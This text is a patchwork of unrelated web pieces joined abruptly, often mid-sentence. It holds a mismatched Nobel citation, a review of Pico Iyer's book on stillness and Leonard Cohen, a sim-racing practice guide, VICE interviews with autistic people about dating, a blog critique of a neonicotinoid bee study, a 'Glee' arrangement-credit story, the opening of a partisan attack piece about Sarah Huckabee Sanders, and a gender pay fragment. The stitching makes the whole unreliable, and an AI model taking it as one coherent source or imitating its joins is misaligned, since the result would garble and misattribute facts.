MLA style: The Nobel Peace Prize for 2008. NobelPrize.org. Nobel Media AB 2019. Wed. 27 Feb 2019. <https://www.nobelprize.org/prizes/peace/2008/press-release/>“Faith is the ability to honor stillness at some moments,” Alan Lightman wrote in his sublime meditation on science and spirituality, “and at others to ride the passion and exuberance.” In his conversation with E.O. Wilson, the poet Robert Hass described beauty as a “paradox of stillness and motion.” But in our Productivity Age of perpetual motion, it’s increasingly hard — yet increasingly imperative — to honor stillness, to build pockets of it into our lives, so that our faith in beauty doesn’t become half-hearted, lopsided, crippled. The delicate bridling of that paradox is what novelist and essayist Pico Iyer explores in The Art of Stillness: Adventures in Going Nowhere (public library) — a beautifully argued case for the unexpected pleasures of “sitting still as a way of falling in love with the world and everything in it,” revealed through one man’s sincere record of learning to “take care of his loved ones, do his job, and hold on to some direction in a madly accelerating world.”
Iyer begins by recounting a snaking drive up the San Gabriel Mountains outside Los Angeles to visit his boyhood hero — legendary singer-songwriter Leonard Cohen. In 1994, shortly after the most revealing interview he ever gave, Cohen had moved to the Mt. Baldy Zen Center to embark on five years of seclusion, serving as personal assistant to the great Japanese Zen teacher Kyozan Joshu Sasaki, then in his late eighties. Midway through his time at the Zen Center, Cohen was ordained as a Rinzai Zen Buddhist monk and given the Dharma name Jikan — Pali for “silence.”
Iyer writes:
I’d come up here in order to write about my host’s near-silent, anonymous life on the mountain, but for the moment I lost all sense of where I was. I could hardly believe that this rabbinical-seeming gentleman in wire-rimmed glasses and wool cap was in truth the singer and poet who’d been renowned for thirty years as an international heartthrob, a constant traveler, and an Armani-clad man of the world.
Cohen, who once described the hubbub of his ordinary state of mind as “very much like the waiting room at the DMV,” had sought in the sequestered Zen community a more extreme, more committed version of a respite most of us long for in the midst of modern life — at least at times, at least on some level, and often wholeheartedly, achingly. Iyer reflects on Cohen’s particular impulse and what it reveals about our shared yearning:
Leonard Cohen had come to this Old World redoubt to make a life — an art — out of stillness. And he was working on simplifying himself as fiercely as he might on the verses of one of his songs, which he spends more than ten years polishing to perfection. The week I was visiting, he was essentially spending seven days and nights in a bare meditation hall, sitting stock-still. His name in the monastery, Jikan, referred to the silence between two thoughts. […] One evening — four in the morning, the end of December — Cohen took time out from his meditations to walk down to my cabin and try to explain what he was doing here. Sitting still, he said with unexpected passion, was “the real deep entertainment” he had found in his sixty-one years on the planet. “Real profound and voluptuous and delicious entertainment. The real feast that is available within this activity.” Was he kidding? Cohen is famous for his mischief and ironies. He wasn’t, I realized as he went on. “What else would I be doing?” he asked. “Would I be starting a new marriage with a young woman and raising another family? Finding new drugs, buying more expensive wine? I don’t know. This seems to me the most luxurious and sumptuous response to the emptiness of my own existence.” Typically lofty and pitiless words; living on such close terms with silence clearly hadn’t diminished his gift for golden sentences. But the words carried weight when coming from one who seemed to have tasted all the pleasures that the world has to offer.
Iyer beholds his encounter with Cohen with the same incredulous amazement that most of us modern cynics experience, at first reluctantly, when confronted with something or someone incomprehensibly earnest, for nothing dissolves snark like unflinching sincerity. For Cohen, Iyer observes, the Zen practice was not a matter of “piety or purity” but of practical salvation and refuge from “the confusion and terror that had long been his bedfellows.” Iyer writes:
Sitting still with his aged Japanese friend, sipping Courvoisier, and listening to the crickets deep into the night, was the closest he’d come to finding lasting happiness, the kind that doesn’t change even when life throws up one of its regular challenges and disruptions. “Nothing touches it,” Cohen said, as the light came into the cabin, of sitting still… Going nowhere, as Cohen described it, was the grand adventure that makes sense of everywhere else.
But the paradox thickens the closer we get to its source. The kind of stillness Cohen bows to is a capacity most reliably acquired through meditation. And yet even though meditation is our greatest gateway to everyday transcendence, most adults in the West don’t practice it. The second most common reason nonpractitioners have against meditating is that they don’t have the time to do it — not enough time to learn to live with presence. (The most common reason to resist, of course, is people’s protestation that they simply can’t do it or aren’t cut out for it, which is merely the time argument by a guise of greater denial — it simply means that they haven’t put in the time to get good at it; there is a reason it’s termed a meditation practice — mastering it obeys the same basic principles of attaining excellence as any skill.)
A century after Bertrand Russell admonished that the conquest of leisure and health would be of no use if no one remembers how to use them, Iyer paints an empirical caricature of the paradoxical time argument against stillness. Citing a sociological study of time diaries that found Americans were working fewer hours than they were 30 years earlier but felt as if they were working more, he writes:
We’ve lost our Sundays, our weekends, our nights off — our holy days, as some would have it; our bosses, junk mailers, our parents can find us wherever we are, at any time of day or night. More and more of us feel like emergency-room physicians, permanently on call, required to heal ourselves but unable to find the prescription for all the clutter on our desk.
As most of us would begrudgingly admit, not without some necessary tussle with denial and rationalization, the challenge of staying present in the era of productivity is in no small part a product of our age itself. Iyer captures this elegantly:
Not many years ago, it was access to information and movement that seemed our greatest luxury; nowadays it’s often freedom from information, the chance to sit still, that feels like the ultimate prize. Stillness is not just an indulgence for those with enough resources — it’s a necessity for anyone who wishes to gather less visible resources. Going nowhere, as Cohen had shown me, is not about austerity so much as about coming closer to one’s senses.
Much like we find ourselves by getting lost, Iyer suggests, we inhabit the world more fully by mindfully vacating its mayhem:
Going nowhere … isn’t about turning your back on the world; it’s about stepping away now and then so that you can see the world more clearly and love it more deeply.
In a sentiment that calls to mind Annie Dillard’s memorable notion |
generally reflect the Obama administration’s approach of providing firepower and advisers so local forces can do the main fighting on the ground.In this four-part series, we shall take an in-depth look at how to practise your sim-racing with the best possible time and energy efficiency. In this first article, we’ll be looking at self-analysis and reflection.
In today’s world most of us lead busy lives, and as such, time and energy are at a premium and become valuable resources. It’s therefore very important that we practise with the highest efficiency so we’re not wasting our time, and the practice we do is helping us progress as much as possible. This philosophy still applies even if you in fact do have ample free time, as seeing visible progress helps you stay motivated.
With this in mind, it’s important to recognise that practice shouldn’t consist entirely of driving, but should instead be enriched with self-analysis and reflection.
Self-analysis
While track time is essential, brainlessly driving around a circuit would not be productive. An example of self-analysis is studying telemetry in the VRS software, such as comparing your braking points against a teammate. Another example is studying a replay, looking back at your own driving to spot mistakes, or looking at laps from faster drivers to see how their lines are different. Self-analysis also includes identifying opportunities for setup improvements, or even having an awareness to monitor your own driving as you’re driving the car.
As you become more aware of what you’re doing wrong on track, you’ll notice more and more opportunities for improvement in your driving. Therefore, review what you’re doing and give yourself well defined targets to work towards. If you’re not doing this, it’s very easy to fall into a comfortable pattern of driving with time ticking and laps accumulating, possibly cementing bad habits such as bad techniques, references, lines and ultimately slow lap times. These will only more difficult to unlearn later on.
The best sim-racers on the planet never simply drive around a circuit aimlessly and without any awareness for what they’re doing. They constantly monitor themselves at an almost third person perspective, while their subconscious brain drives the car. Any mistakes or opportunities for improvement are immediately recognised and consciously acted upon, in order to either limit the damage from an error (no matter how small), or to shave off some more lap time next time by.
This self-awareness takes years to develop, and for the beginner it’s necessary to follow more deliberate methods of analysis, often outside of the car with telemetry before this intuitive sense of awareness develops. Even at an expert level, it’s important to look at telemetry to confirm or disprove what you believe is happening to your car and laptime.
The ideal ratio between driving and analysing
There isn’t a rule for this as it will vary from person to person, changing with different levels of skill, experience and familiarity with the current car and track combination. For a beginner we’d recommend a greater focus on analysis, as it’s important to get the fundamentals correct as early as possible. A good ratio would be to spend a third of your time analysing.
A more experienced driver might be more productive having a greater proportion of time spent doing laps, since they have extra mental capacity available for on-track analysis while driving, and they can often accurately predict what they might see in telemetry as a result of experience with it from previous sessions of analysis. For them, a reasonable ratio may be ninety percent of the time on track and ten percent of time spent on analysis out of the car.
Of course, we don’t recommend getting hung up on sticking to such a precise target. The key here is the importance of practising efficiently and being aware of what you do, more than just doing laps around the circuit, killing time. The rate of improvement should play a strong role here though. If you’re still improving quickly, finding decent amounts of time on track while driving, then it makes sense to continue doing that. If on the other hand, your performance has plateaued – even if this happens early on – it then makes more sense to review things and dive into telemetry, your replay files or compare yourself against VRS datapacks.
Scheduling practice
Back in section 2.3: Practising, we looked at how best to schedule your practice, and how it’s optimal to practise regularly, but to avoid excessively long sessions. It’s best to have some analysis in each session, after you’ve been in the car. It’s then a good idea to go straight back into the car to make practical sense of any targets for improvement you’ve set for yourself, and to put the things you’ve learned into practice.
Up to you
Try to cement this method of practising, and create a habit out of doing so. In the next article, we go more in-depth on how to analyse.Photo via Flickr user Charles Thompson
This article originally appeared on VICE Canada
Dating is complicated. Dating when you have autism spectrum disorder is… like herding blind cats into a volcano that is directly across from the World Fish and Catnip Museum.
I have autism and if my dating experience were a résumé, it would be blank on both sides. During the simplest of interactions with a potential love-interest, my brain is working overtime. For the sake of my sanity I've taken to online dating recently, though the results have been only incrementally better. Trying to interpret the meaning behind the little gestures, the closeness, or lack thereof, the little lulls and crests of conversation—It's like trying to crack the Da Vinci code for me. Even the thought of attempting to make—God-forbid—physical contact with my date causes me to short-circuit into a spiral of failed social calculations and crippling anxiety. Needless to say, I don't get many second dates.
My own romantic debacles have often left me wondering how other Aspies have fared. Surely some must have more luck than me. With that in mind, I did what any writer would do in this situation (I assume). I reached out with a list of questions, and I must admit the answers I found may not have revealed the secret to true love or anything like that, but what they did reveal… surprised even me.
Lana*, 31
VICE: How have you met most of your past partners?
Lana: I've had five boyfriends, four of which I met at either a bar or a party. Alcohol is a great social lubricant.
How old were you when you started dating?
I was sixteen when I had my first boyfriend. We didn't really date in the classical sense. I dreaded the concept of meeting with someone with the express purpose of talking to see if you're compatible. So we basically just drank beer, listened to music and made out for one glorious month.
How consistently have you been in a relationship over the course of your life?
I've been in a relationship for most of my adult life. I'm 31 now, currently in a four-year-long relationship.
Have most of your partners known about your ASD? If so, when do you tell them?
I was diagnosed while with my current partner, so there was no coming-out of sorts. I told him that my shrink (whom I was seeing for depression) wanted to evaluate me for autism, which came as a huge shock for me as I had never considered that as a possibility. He told me it didn't matter to him at all. He loves me for who I am, and suddenly getting a label didn't change that.
What's the hardest thing about dating?
I don't really pick up on hints. People often think I'm flirting with them, when I'm just being sociable. I've lost count of the amount of times I've invited a male friend over to watch a movie, only to have him get upset with me when he realized I really intended to watch movies, not have sex. I used to have a lot of male friends, but I've lost most of them due to misunderstandings such as this.
I also have a lot of anxiety. I've never really dated in the classical sense of gradually getting to know someone over drinks, dinner, and a movie. I get incredibly anxious when I make plans to just hang out and talk with someone I don't have feelings for, so much so that I often end up cancelling. Meeting someone for a real date? Sober? I don't even think I could.
What do you think is the best thing about dating an Aspie? The worst?
The best thing? I'm a force to be reckoned with at bar trivia. The worst thing? I can recall every conversation we ever had, and use it against you in a fight. But on a more serious note, I don't think there are any specific upsides to dating an Aspie. I have quite a few "Aspie superpowers" but none of them are especially useful in a relationship. It's one of those things where my normal, scientific approach is quite useless. There are a few downsides though, mainly my inflexibility. I can't handle unexpected visitors, I can't handle my boyfriend being late, and I can't handle when things are not in their proper place. I'm a very calm, collected and friendly person, never violent, but when I lived with my previous boyfriend I once flipped a towel rack because he folded the towels incorrectly.
"Kink really "speaks" to me, because it's all about rules and boundaries, which is basically Aspie porn."
What are some things that you and past partners have had disagreements over that were related to your ASD?
We mostly clash over my rigidity. My boyfriend is a very spontaneous guy. He doesn't like planning things, he doesn't really pay attention to the time, and he's not the best at picking up the phone. I need to plan things out carefully or I get stressed. This is obviously not the best combination. When I tell him he needs to be somewhere at 8:30, I'll start stressing at 8, wondering whether he'll be on time. He'll call me at 8:45 to let me know that he's about to leave. Yeah, we fight sometimes…
How have you handled sex and physical intimacy in your relationships?
I have no trouble with this. I like sex, and I've been quite promiscuous in the past. I have no trouble separating emotions from sex. That can be a bit tricky for some partners though. I have no trouble having sex with someone I don't like as a person if the sex is good. This confuses people into thinking we're dating sometimes. I once got into an incredibly painful situation when a guy I regularly had sex with introduced me to his friends as his girlfriend, and in my surprise I blurted out "Haha, no way in hell," and then the guy cried his eyes out in the club, and his friends hated me, and I left, wondering how this misconception came to be. Needless to say I never slept with him again after that.
In what ways do you think your ASD might have influenced your attitudes towards love and sex?
I'm a bisexual kinkster in a monogam-ish relationship. I do think being an Aspie makes it easier for me to be sexually adventurous. Because I'm capable of separating sex and emotion I get to enjoy sex as a fun activity. Sex with my boyfriend is a wonderful experience with a deep emotional significance. Sex with someone else is just fun. Kink really "speaks" to me, because it's all about rules and boundaries, which is basically Aspie porn. I have a very rational outlook on love, sex and relationships and I can't really tell whether that's the Asperger's or my personality speaking. My neurotypical boyfriend feels the same. We're both pretty nihilistic.
Brodie*, 19
VICE: How do you feel about sex and dating?
Brodie: Quite honestly, I'm asexual, so I would not want to have sexual intercourse. Hugging would be alright even before getting into a relationship, but kissing would only be okay after we get into a relationship.
How long have you know that you didn't experience sexual desire?
For the longest time. When I first learned what sex was, I decided that I didn't want to have sex until after I'm married. However recently, I decided that I never want to have sex at all, even after I get married. Basically I want to stay a virgin for life.
What would a perfect relationship for you look like? Your ideal partner?
A perfect relationship? That's hard to imagine for me. I guess someone who shares the same interests as me. My ideal partner would be somebody who is very kind, and sweet, and innocent, just like the girl I had feelings for this past year. She's the only girl who I've ever felt was basically perfect for me.
How do you know somebody's "the one" for you?
In particular, this school year that just passed, there was a girl that I ended up developing feelings for. All throughout university I was telling myself, "I'm not going to get into a relationship. I'm not going to develop feelings for anybody." But then at the beginning of this year, I started talking with this girl who I didn't talk to very much last year. I ended up visiting her suite, quite frequently and eventually I developed romantic feelings for her. And in particular, this girl felt like "the one" to me because in my opinion, she was the kindest, most innocent girl I had ever met. That was the only crush that I developed in university, and if I hadn't met that person, I probably wouldn't have developed a single crush in university at all.
Do you see any downsides to dating an Aspie?
The worst thing about dating me might actually apply to a lot of Aspies. I tend to role play a lot. One of my intense "Aspie" interests is that I enact scenes from movies or animes. Sometimes I think that roleplaying can come across as strange or annoying to others.
Anna*, 21
VICE: Have most of your partners known about your ASD? If so, when do you tell them?
Anna: Typically I don't tell someone I'm on the spectrum unless we're pretty serious, like if we've been dating several months. I've never been in a relationship where I felt it was necessary to tell the other person that I'm on the spectrum. My friends and family have always told me that I shouldn't tell someone I'm on the spectrum unless I feel it's necessary and will benefit the relationship.
What's the hardest thing about dating?
If I feel like I've made a guy upset, I'll keep texting, and texting, and texting until he replies, which makes the situation even worse. Eventually he comes back an hour and a half later and tells me to stop texting, which then makes me feel like he's even angrier so I keep texting, and texting, and texting all over again. It's an ongoing cycle. When people give me mixed signals it freaks me out. I need to have straightforward, direct signals: interested or not interested—nothing in between.
"When people give me mixed signals it freaks me out. I need to have straightforward, direct signals: interested or not interested—nothing in between."
What do you think is the best thing about dating an Aspie? The worst?
The one thing I've really enjoyed about dating someone else who's on the spectrum is that they don't play stupid dating games like waiting several hours to text someone, an entire week after the first date. Aspies get straight to the point. Their intentions are very easy to decipher. The one thing I do not like about dating an Aspie though, is that they can't pick up on social cues that a neurotypical would. For example, if a neurotypical tries to hold your hand or kiss you on the first date, they would give you direct eye contact and know that if the person doesn't move, that's their signal saying, "it's OK to kiss me." An Aspie wouldn't pick up on any of that, and wouldn't understand that if the person backed away that was a signal that they were not with comfortable kissing them.
Can you describe to me what your experience has been like with online dating? Would you recommend it to somebody else on the spectrum?
I would definitely not recommend it, because a lot of the guys on those sites are players. They like to play with girls, and I've noticed that a lot of girls on the spectrum tend to get played with. When you're talking to people online, you can't see their facial expressions, so if you say something inappropriate or weird, you're not going to see your facial expression. Getting stood up has also been a problem for me. Nearly every date that I tried to meet up with on those sites has done that to me.
Claire*, 27
VICE: How old were you when you started dating? How consistently have you been in a relationship over the years?
Claire: I'm not sure how to answer. I had my first date at 19, but it was an isolated event. I started "looking" at 21, and found a partner at 22 that I've been with ever since, in addition to many other partners over the years as I am polyamorous. I'm 27 now.
It's really interesting that you practice polyamory. What drew you to that particular lifestyle?
I've always had the inclination to be poly. I kind of buried it though, thinking of it as the fantasy of an adolescent. One thing about polyamory that really appeals to me as an Aspie is that people on the spectrum tend to like very clear rules and boundaries, and in polyamorous relationships, those things have to be talked out to make it work. Other than that I've found poly to be much harder. ASD affects communication and poly is all communication. I get less alone time to recover because I have to make sure all of my partners get the time that they need, and since I don't drive, that makes arranging dates with each partner more difficult. Since I rely on disability for money, trying to figure out a living setup that works for all has been—Well, we haven't figured it out yet.
Have most of your partners been aware that you were on the spectrum? If so, when did you tell them, and what are some of the reactions you've gotten?
Oh, I'm very open. So much so that my ex never got explicitly told, and somehow didn't know for five months. Whoops… As for reactions, I guess they've been all over the board, with the best reaction I ever got being when one partner told me, "that's not gonna scare me off," and the worst one—well, it didn't happen when he found out that I was on the spectrum, but when one of my exes found out what my limitations were, he was pretty mean about it.
What's the hardest thing about dating?
Trusting someone not to hurt me. Risking getting mocked every time a new partner finds out how little adult independence I have. I've had some bad experiences. One of my exes basically accused me of being a sheltered wuss once he found out all the things I can't do, or do safely. He also gave me the classic, "but I knew someone with Asperger's and they could…" Another partner forgets that I need more time to process when I'm upset. I often get talked over during arguments.
How have you handled sex and intimacy in your relationships?
With communication and compromise. I don't want to get into too many private details, but the main thing is that I thoroughly discuss things with my partners. It's sad how few couples discuss likes and dislikes and how each can please the other better. There are some acts that I don't do or that I have to modify. I've had to try workarounds for my sensory issues so that I can still please my partners. I warn my partners that I can go non-verbal and we discuss ways to work around that safely. I have selective mutism that acts up during sex due to all the sensory input and emotion. It used to happen a lot when I was younger, but I've adapted to try avoid the overload and anxiety that triggers it. These days it usually only happens during sex or when I'm very anxious and physically ill at the same time.
If you could tell your current or next partner anything about your diagnosis what would it be?
That I hate the negatives as much as you, but I'm doing the best I can.
*Names have been changed.Two new bee papers were published just a few days ago. Below I will take a closer look at one of them, the larger European study, partly funded by pesticide companies but performed by an independent research lab, and it was was aimed to be a more comprehensive test of neonicotinoids. The other one was five month field study in Canada, completed with a year-long lab study where they observed some negative health effects under field-similar but constant exposure conditions, especially when combined with a fungicide. More about the Canadian study can be read in an analysis by The Mad Virologist.
The European study went on for two years in three countries, spanning over 33 sites. A whooping 88 variables were measured (different health measures, different bees, etc). but only eight of them came out with a statistically significant difference. Three variables actually showed a significant beneficial correlation between neonicotinoid treatments and bee health, whereas five correlated with more harmful results. However, 18 results had to be dismissed altogether because the Varroa mite killed off many UK hives. But the study did not choose to track disease rates as variables.
This Arstechnica piece by a long time biology researcher gives a succinct coverage of these science news (which are reflected in all kinds of headlines in the media already): Study paints a confusing picture of how insecticides are affecting bees:
a team of independent researchers purportedly tied neonicotinoids to bee colony health. But a quick look at the underlying data shows that the situation is far more complex. And a second paper, with more robust results, supports the idea that these insecticides are merely one of a number of factors contributing to bees’ problems
The researchers themselves indeed put their results in a rather peculiar way. They say their study supports the harmful effects of neonicotinoids, but in ‘a country-specific way’. As they found statistically significant beneficial effects mainly in Germany (though one was in the UK), they argue that this may be explained by other factors, because the bees were found to be in generally better health in Germany. For UK and Hungary, however, where bee pests were more of a problem, and the sources of nutrition were more limited, they say the five significant findings can be interpreted as an interaction-effect of neonicotinoids. They write:
The country-specific responses of honey bees and bumble bees strongly suggest that the effects of neonicotinoids are a product of interacting factors (20–23). This study has identified between-country differences in the use of oilseed rape crop as a forage resource for bees (affecting exposure to crop residues) and incidence of disease within hives. Both factors were higher for Hungarian and U.K. honey bees (tables S10 and S11).
The study presents the presence of neonicotinoid treatment significantly correlating with a negative effect on worker numbers (UK), storage cell number (UK, clothiadinin), and one species of wild bee drone numbers (UK), as well as egg cells (Hungary) and worker numbers (Hungary).
Whereas they also find that neonicotinoid treatments significantly correlate with egg cells (Germany), drone numbers (Germany) and storage cells (UK, thiametoxam) but in a positive direction.
So in UK, storage cell numbers were diminished by clothiadinin but boosted by thiametoxam…? Sounds peculiar. At what point would a beneficial correlation also suggest a causative relationship? When measuring correlations, it is good to be watchful for factors that may either have no real connection, or have a more complicated relationship than a simple cause and effect – as en example, both may follow from another variable so they correlate without a causal relationship with regard to each other.
What seems problematic in the logic of the authors, is that if the three observed beneficial effects can be considered the result of factors other than neonicotinoids, then the same could be said about the five cases where they detected harmful effects. If you consider that significant effects in either direction represent a very minor portion of the results, it seems like an awful lot of weight is being put on these five out of 88 findings.
A look at the raw data
The small number of findings becomes particularly clear when we look at the summary of all the measured endpoints – raw data which for some reason was not included in the supplemental material of the study, but was released from the study’s partial funder, Syngenta, instead. The inclusion of the total data table in this piece in Slate is quite illuminating: Do Neonics Hurt Bees? Researchers and the Media Say Yes. The Data Do Not. Light green cells show no significant difference between beehives near treated fields and controls, red cells point to a significant difference for the worse, and dark green shows the beneficial correlations (my apologies to the red-green colour-blind, I don’t have the original so can’t change the colours easily).
Out of these 258 data points, only 9 were negative and 7 were positive, 3.5 and 2.7 % of cases respectively. Four colonies gave no data (I assume these cells are for the colonies where controls and treatment groups were wiped out by Varroa mites and diseases). Almost all negative data points came from clothianidin (7 of 9), whereas thiametoxam had 6 out of the 7 positive findings, and two negative findings. If these results truly are to be taken as suggestive of causation, should we take them to mean thiametoxam treatment is beneficial for bees? Somehow I wouldn’t be ready to easily assign such predictive power to these results one way or another, when so many data points found no difference at all.
The inconsistency is also problematic if you consider statistics of bee health and winter losses in general, which are the product of many factors, several not tracked by this study, and that show great variability. The scientists themselves hint at as much in their supplemental materials:
Other potential covariates showed strong systematic variation with either country or seed treatment and as such could not be directly tested within this framework without violated underlying model assumptions (e.g. the proportion of oilseed rape making up the diet of pollen (Table S10), disease (Table S11) and starting colony size (Table S2)).
Bee losses are known to vary a great deal across countries and years in Europe. From the COLOSS bee surveillance project on 2015 and 2016 numbers:
These loss rates vary considerably between countries. In this year’s survey the highest losses were found in Ireland and Northern Ireland, followed by Wales and Spain. The pattern of loss rates differs from last year, when higher mortality and loss rates were found in central Europe and countries to the east. This year the higher loss rates tend to be in the west and northern countries, although Spain had high rates of loss in both years.
The losses have generally been lower in Europe than in the US in the last decade or so, and a recent Pan-European epidemiological study found that honey bee colony survival depended on beekeeper education and disease control – it was first and foremost hobby beekeepers who had trouble with epidemics, whereas professional beekeepers in Europe had very little problems with diseases and Varroa (more on that in my piece: Treatment-free beekeepers give Varroa mite free rein). It is unfortunate, in this context, that the study lost entire colonies to Varroa, and it raises questions about the presence of diseases in the study colonies in general.
As a side note, the partial ban of neonicotinoids by the European Commission on three chemicals: clothianidin, imidacloprid and thiamethoxam, came in effect December 2013 and as such, would have been unlikely to have had even a potential effect on the statistics above before winter 2014-2015. The scope of the suspension only applied to “the treatment of seeds or soils for crops that are attractive to bees (except greenhouse crops and winter cereals) and the spraying of crops that attract the pollinators (except post-flowering and greenhouse crops).”
UPDATE: The Mad Virologist confirms in his analysis what I also suspected, but did not quite dare to point out without reading up on statistical corrections when measuring so many variables at once: it is a serious statistical flaw not to make the appropriate corrections. Without them, random findings will pop up as significant. He writes:
This looks like the type of result you would see if there were false positives in the study from not correcting for multiple comparisons. Because of the lack of correction for multiple comparisons, which is commonly done in cases even when the measurements are semi-independent, we can’t draw conclusions from the statistical tests that were run for this data set.
More questions – what is the role of fungicides?
Another factor with regard to the European study, pointed out by a piece by pollinator researcher David Pattemore, is an inconsistency in the fungicide applied together with the neonicotinoids at different sites. From More evidence on the effects of neonicotinoids on honey bees…maybe?:
But all three treatments (the control and the two different neonicotinoid treatments), had different fungicide treatments applied with them, violating the basic scientific rule to control all variables apart from the one you are interested in, or at least account for these other variables. This study, unfortunately, has confounded neonicotinoid treatment with fungicide treatment, so it is not really possible to draw many conclusions on neonicotinoids alone. So my personal opinion is that the effect on honey bees in this study is ambiguous at best.
He also puts these studies in the context of earlier research:
So in terms of the number of studies evaluating the hypothesis that real-world use of neonicotinoids have colony-level effects on honey bees, the score in my calculation now stands at 2 for, 4 against. This is how science proceeds: we are likely to continue to see scientific tussles back and forth while we narrow in on the actual suite of factors that affect honey bee health.
While many headlines have hurried to report on these studies as a confirmation of neonicotinoids’ role in bee health, several news outlets have also handled the topic with admirable nuance. Consider this Washington Post headline: Controversial pesticides may threaten queen bees. Alternatives could be worse. Insecticides are indeed likely to have some negative effects on bees, even though it is hard to pinpoint the realistic degree of the effect. Nevertheless, what is clear is that we can’t properly address bee problems if we ignore the larger issues of pests, disease, and habitat loss. From the Washington Post piece:
The differences between bees in treated or untreated fields were largely insignificant, and many of the bees in both groups died before they could be counted.
…
Christopher Cutler, who studies insect toxicology at Nova Scotia’s Dalhousie University, echoed Carreck’s concerns, pointing out that “when many different analyses are conducted” (42 in this case), “a small number of statistically significant effects are bound to emerge by chance.
…
An approach popular with activists would be to ban neonicotinoids altogether, but many experts worry this would cause farmers to turn to older and potentially more harmful methods of pest control. “Things are better for honey bees since neonics replaced more harmful insecticides,” said beekeeper and science blogger Randy Oliver.
In other words: if you care about bees, look past neonicotinoids. No, we should not ignore their effects, we should welcome more solid research, and we should definitely try to find optimal ways of using them with minimal harm to non-target insects, while maximizing their effect in helping keep down resource use like land, fuel, and other inputs, that goes into growing crops.
The European partial ban, based on the information so far, might have even had some net negative effects for the environment: some farmers are simply narrowing their rotation to crops that are not as sensitive to the relevant pests. From Foodinsight:
Yields are down and the area sown is falling as some farmers are switching to other crops because they do not want to take the risk. This means rapeseed is being dropped from crop rotations which has a negative environmental impact,” Max Schulman, of Copa & Cocega said.
It is great to get more research about the effects of neonicotinoids. But what about the effects of other pesticides? Before we jump into a ban, we should compare the situation to the alternatives. What realistic solutions do farmers have? How would those alternatives affect the health of bees, other non-target insects, carbon emissions, soil health, or any number of other important factors? In the words of the agricultural researcher Andrew Kniss, Everything in Agriculture is a Trade-Off.
More of my articles on the the topic of Environment and Agriculture. If you would like to have a discussion in the comments below, please take note of my Commenting policy. Sometimes it may take some time before I find the time to sort through and accept comments, especially if they make long arguments without evidence. In a nutshell:
Be respectful. Back up your claims with evidence.Forget the Rachel/Finn/Quinn love triangle. The big controversy about tonight's second-season finale of "
" is whether the show swiped an arrangement from
, a
a cappella group.
It all started with a May 19 post a New York City blogger named Alex Rabinowitz put on his blog,
. Talking about songs that will be featured in the "Glee" season finale, Rabinowitz noted an all-female, a cappella version of
hit, "Yeah!"
"The cover is a rousing, empowered track, especially when sung by a female group," Rabinowitz wrote. "All this would have been fine and dandy, if it weren't seemingly ripped off a hardworking, student-run collegiate a cappella group."
He was referring to a similar-sounding arrangement of the song performed by Divisi, the all-female UO a cappella group. When they performed "Yeah!" in 2005, the then-members of Divisi narrowly missed winning the International Championship of Collegiate A Cappella in New York. They placed second, a result that has become legendary within the a cappella community as an example of a deserving group getting robbed.
As Rabinowitz writes in an email, "I've been following Divisi since I first saw them perform at their now-infamous shot at the 2005 (championship) at Lincoln Center. Their version of 'Yeah!' blew everyone away and literally changed the game for all-female groups. (That whole story was later documented in Mickey Rapkin's book, 'Pitch Perfect: The Quest for Collegiate A Cappella Glory.') As a fan of a cappella, a song like that you don't forget."
(The clip below features Divisi performing their version of "Yeah!" at by Usher at the ICCA Semifinals in 2005.)
Though the women who were in Divisi in 2005 have since graduated, plenty of people still remember that performance and that arrangement. As Rabinowitz's post made the rounds online, members of the a cappella community were up in arms, accusing "Glee" of stealing the Divisi arrangement without credit or compensation.
On Friday morning, Rabinowitz put up another post about the controversy, which was picked up by
and
and made it to the front page of
. "In total, the two posts on my site have received 8,565 page views," Rabinowitz writes.
Discussions on Facebook about the matter got the attention of Ed Boyer, a former member of the Beelzebubs, the Tufts University a cappella group. Boyer has arranged and co-recorded a dozen songs for the fictional group the Warblers on "Glee." Boyer sent an email to "Glee" producers about the situation developing around "Yeah!" and, Rabinowitz writes, Boyer "reported back in the afternoon on Friday that the problem has been rectified" and that Evynne Hollens, the founder and former member of Divisi, will receive credit for her arrangement.
who's married to Evynne and recorded and produced the 2005 Divisi recording of "Yeah!," says this hubbub spotlights the gray areas of a cappella and copyright laws.
"I asked lawyers in the a cappella community about it," says Hollens, who has an extensive background in a cappella. Hollens co-founded the UO all-male a cappella group
when he was a student at the university. Both Hollens and Evynne graduated in 2006; they married in 2007.
Unless an a cappella group gets permission from the original artist, which Hollens says "just doesn't happen," the arrangement isn't covered by any copyright or legal protection.
So even though the version of "Yeah!" recorded for "Glee" is, as Hollens says, "extraordinarily identical to the arrangement my wife wrote, it doesn't matter, because the original song is still by Usher."
Hollens knows Boyer, and they were in touch about the matter of crediting Evynne for her arrangement. According to Boyer, it sounded as if "they had gone through some communication breakdowns" at "Glee." "They usually like to give credit to the original arrangers."
Now, Hollens says, "Evynne and Divisi are getting credit for the arrangement. (The 'Glee' producers) seem genuinely interested in doing the right thing."
Mercedes McCormick, assistant business manager for and a member of the current lineup of Divisi, says the group had hopes of being involved in "Glee." Representatives from the show had contacted Divisi, she says, about three weeks ago, saying "'Glee' might want to use our version of 'Yeah!' for an episode."
After that initial contact, however, a follow-up call from "Glee" representatives came, saying, "we're going to go in a different direction," says McCormick.
Though there was talk about paying Divisi for the arrangement, the group has received no money, she says.
Hollens says Evynne will receive a small arranging fee for the song.
"Me and my wife are huge fans of 'Glee,'" he says. "The show has been so good for and so influential to the a cappella community. It's cool to see them doing something so close to home."
--Even the “Mean Girls” weren’t this mean.
Just moments after President Trump promoted Sarah Huckabee Sanders to the role of White House press secretary, she was attacked by a swarm of woman-hating liberals.
Click here for a free subscription to Todd’s newsletter: a must-read for Conservatives!
First, the propagandists at The New York Times and MSNBC questioned Sanders’ character and called her a liar, but now journalists are attacking her physical appearance.
Ira Madison |
still receive a smaller pay packet than men."
Image copyright Getty Images Image caption Liberal Democrat equalities minister Jo Swinson said the amendment was "fantastic news"
"These measures will shine a light on a company's policy so that women can rightly challenge their employer where they are not being properly valued and rewarded," he added.
The measure will be debated in the House of Lords on Wednesday, with the government tabling an amendment to the Small Business Bill.
The bill is likely to come into force within the next 12 months.
Labour shadow equalities minister Gloria De Piero said: "This is fantastic news for women but why have they waited so long?... The reality is that it's only when the government realised they would be defeated on this issue by Labour in the House of Lords that they saw the need to act."
